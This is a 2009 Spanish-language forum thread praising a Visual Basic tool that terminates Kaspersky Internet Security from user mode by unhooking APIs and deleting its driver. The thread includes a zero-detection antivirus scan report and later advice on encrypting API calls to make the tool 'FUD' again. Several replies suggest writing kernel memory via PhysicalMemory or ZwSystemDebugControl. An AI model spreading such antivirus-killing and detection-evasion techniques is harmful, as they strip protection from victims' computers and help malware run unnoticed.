para nada instale el KIS 2009 version 8 y lo elimino inmediatamente, ni siquiera lo agrego a la zona minima de restricciones, apenas basto un click para que el driver y los procesos fueran eliminados y despues del reinicio tampoco ni rastros del KIS (exepto por lo del menu contextual que muestra el letrero de scan como desactivado), no se que pasa con tu sistema o si tienes configurado de una forma diferente el KIS, yo solo lo instale de la forma estandar la que se instala en un 90% de los PCs con KIS.
saludos
mira como no me gusta solo hablar aqui te dejo un video de como jodo al KIS 2009 version 8.0.0.454 y de lo que tu me hablas no se por donde, la verdad ni idea de lo del cartelito ni de las sospechas de ejecución de privilegio de debug :huh:
pueden hacer click sobre el video para ir a youtube y verlo en pantalla completa y en HD (High Definition) Alta definición
[youtube=425,350]http://www.youtube.com/watch?v=Peaw7DSttqo[/youtube]
y algo mejor es indetectable a los AVs
File Info
Report generated: 14.4.2009 at 1.22.13 (GMT 1)
Filename: kavkill.exe
File size: 27 KB
MD5 Hash: F1453F966356F2F8C6E832FD8A1191AA
SHA1 Hash: F23C810CA3F106C206A869A32D1D985D950BAF25
Packer detected: Microsoft Visual Basic 5.0 / 6.0
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 22
Detections
a-squared - Nothing found!
Avira AntiVir - Nothing found!
Avast - Nothing found!
AVG - Nothing found!
BitDefender - Nothing found!
Comodo - Nothing found!
Dr.Web - Nothing found!
Ewido - Nothing found!
F-PROT 6 - Nothing found!
G DATA - Nothing found!
IkarusT3 - Nothing found!
Kaspersky - Nothing found!
McAfee - Nothing found!
MHR (Malware Hash Registry) - Nothing found!
NOD32 v3 - Nothing found!
Norman - Nothing found!
Panda - Nothing found!
Quick Heal - Nothing found!
Solo Antivirus - Nothing found!
TrendMicro - Nothing found!
VBA32 - Nothing found!
Virus Buster - Nothing found!
Scan report generated by
NoVirusThanks.org (http://novirusthanks.org)
y este es el reporte de virustotal:
http://www.virustotal.com/es/analisis/8ccb0571ea94605fa687362fbfcbafae
Muy buen code, no lo entiendo, pero es bueno jeje
Saludos
Cita de: LeandroA en 15 Abril 2009, 06:21 AM
Muy buen code, no lo entiendo, pero es bueno jeje
Saludos
si la cosa esta asi los demás estamos fritos ¬¬" (no todos vdd)
Excepsional source
Dulces Lunas.
Excelente ;-)
mi pregunta es donde has encontrado toda la informacion necesaria para la elaboracion del code?
como has estado investigando al kis?; porque esto parecia imposible de realizar en vb; y asombra, por eso lo digo...
Citar
porque esto parecia imposible de realizar en vb; y asombra, por eso lo digo
Bueno, creo que precisamente eras tu el que tenias hace tiempo puesto en la firma (o en el texto personalizado, no sé) algo asi como "lo imposible es imposible hasta que alguien lo consigue", o algo que venia a significar lo mismo...asi que en este caso viene bien aplicar esa frase jeje :P
Una cosa es que no se pueda hacer y otra cosa es que se pueda hacer pero que nadie se hubiese tomado aún el tiempo necesario como para sacarlo ^^
Bueno, perdonen por este pequeño Off topic jeje, pero me pareció interesante recalcar eso, además VB es uno de los lenguajes en que se puede hacer casi todo lo imaginable, pero claro, todo depende del ingenio del programador.
P.D. si no fuiste tu el que tenias esa frase disculpa, pero sé que a alguien se la vi puesta hace tiempo :xD
Saludos ^^
mira muchos me dijeron que desde VB no era factible, que se necesitaba un driver en c corriendo en modo kernel en fin nadie confiaba que se pudiera eliminar al kasper desde modo usuario en vb, y como dice invisible_hack no hay cosas imposibles. fue dificil en especial lo del unhook de las apis como veran el modulo mas complejo y gracias a Iceboy por su code, magistral los creditos para el. muchas gracias a todos. ;D ;D
muy buen code mi amigo XcryptOR
Salio de nuestro laboratorio, jeje muchas gracias compañero
si no me equivoco creo que fue Hendrix quien dijo que no era posible (no recuerdo bien), Hendrix conoce bien el tema; al menos en la epoca en que lo dijo era imposible, ahora nos han demostrado que ya no lo es...
Yo no ando metido mucho en este tema, pero si lo dice un experto, hay que considerarlol...
tan bien se podría escribir en la memoria del nucleo con create file a \.\PhysicalMemory y luego mapeandolo en memoria.
Saludos
Cita de: Arcangel_0x7C5 en 16 Abril 2009, 12:11 PM
tan bien se podría escribir en la memoria del nucleo con create file a \.\PhysicalMemory y luego mapeandolo en memoria.
Saludos
Exacto, es el unico metodo que conocia para escribir en el kernel en modo usuario....
http://archive.cert.uni-stuttgart.de/bugtraq/2004/02/msg00512.html
Citar
Tested systems
==============
Windows XP Pro SP1 with latest patches
It's likely that Windows 2003 also is vulnerable.
ZwSystemDebugControl(), exported from ntdll.dll, calls a Windows operating system function NtSystemDebugControl(). This function is executed in ring 0 (kernel mode) and is meant to be used by user mode debuggers having the SeDebugPrivilege privilege.
En nivel de seguridad tengo puesto: recomendado, y en caso de deteccion: preguntar por la acción.
Vamos una configuración bastante estandar, auque no se si es la que venia por defecto al instalarlo, puede que lo modificara.
Saludos.
me sale que hay error en una sub no definida OpenProcess
Exelente CODIGO !! hahah , gracias por compartir, ahora Un pregunta :
al principio del codigo dice que cuando el equipo reinicie ya no tendra conexion a internet en la parte de BUGS ,, ?¿?¿ entendi bien o mi ingles no anda muy bien ?? heheh gracias !!
el problema es con el driver klim5 del kaspersky que actua como filtro NDIS , y como al eliminar su servicio desde la entrada en el registro este ya no va mas entonces debes desintalarlo o limpiar la stack TCP/IP pero eso no es problema el codigo tiene una funcion que trabaja para resolver el problema, ahora si lo malo de este code es que como una gran mayoria de personas lo ha usado ya no es indetectable, es detectado por varios antivirus como w32.atraps.gen. no se hay muchas cosas en el codigo que no son necesarias, depura el code y cifra las apis para que siga trabajando yo ya lo hize y esta otra vez FUD y trabajando mejor que nunca, ya no presenta bugs, ni tanto codigo.
saludos
ok super! entonces cambiando nombres a algunas raiables y cosas asi creo que podre hacerlo pasar desapercivido pero eso de cifrar las apis ni idea algun ejempito ??
hahha muchas gracias y hasta luego ç1!!!
el solo cambiar el nombre de las variables no basta, mira por aqui hay algo de Cobein la función se llama CallApiByName. me gustaria yudarte más pero estoy corto de tiempo saludos.
Buenisimo aporte, me gustaria saber si ese code le ha fucnionado a alguien, estoy pasando el modulo del Unhook Api a ASm pero he visto que en esta parte del modulo
Do While bFirstChunk Or CBool(BaseRelocationFromPtr(pbr).VirtualAddress)
pbr previamente no tiene ningun valor, es decir de NULL, entonces al querer copiar desde 0 la memoria, el code peta en esta funcion
Private Function BaseRelocationFromPtr(ByVal pbr As Long) As IMAGE_BASE_RELOCATION
CopyMemory VarPtr(BaseRelocationFromPtr), pbr, 8
End Function
alguna sugerenica XCryptOR gracias
que compilardor necesito para este code??
tengo el c++, es el que usamos en mi carrera.
me podrian madar un enlace para descargar el killer complidao??
gracias por el aporte compañero, se agradece bastante
salu2
Cita de: javi_SS en 5 Julio 2009, 13:51 PM
que compilardor necesito para este code??
tengo el c++, es el que usamos en mi carrera.
me podrian madar un enlace para descargar el killer complidao??
Si esttamos en la sección de Visual basic obviamente se necesita Visual baSIC 6 :Xd
GRACIAS